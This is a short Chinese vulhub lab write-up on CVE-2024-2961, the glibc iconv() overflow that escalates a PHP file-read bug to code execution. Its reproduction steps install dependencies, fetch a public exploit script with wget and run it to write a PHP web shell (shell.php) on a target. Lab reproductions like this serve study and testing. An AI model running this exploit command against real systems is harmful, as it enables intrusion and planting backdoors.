vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
lsx2024062 分钟前
Java 数组
开发语言
JosieBook6 分钟前
【C#】VS中的 跨线程调试异常:CrossThreadMessagingException
开发语言·c#
爱滑雪的码农8 分钟前
Java八:Character 类与string类
java·开发语言
csbysj20209 分钟前
《C 标准库 - 参考手册》
开发语言
APIshop25 分钟前
京东关键词搜索接口完全指南
java·开发语言·数据库
追雨潮35 分钟前
BGE-M3 多语言向量模型实战:.NET C# 从原理到落地
开发语言·c#·.net
海天一色y35 分钟前
三分支声学超结构传输特性计算:格林函数法的完整MATLAB实现与深度解析
开发语言·matlab
喜欢喝果茶.40 分钟前
Qt翻译接口 -逐条翻译(免费级)
开发语言·python
顶点多余40 分钟前
QT-设计师模式基本知识
开发语言·qt
南 阳44 分钟前
Python从入门到精通day60
开发语言·python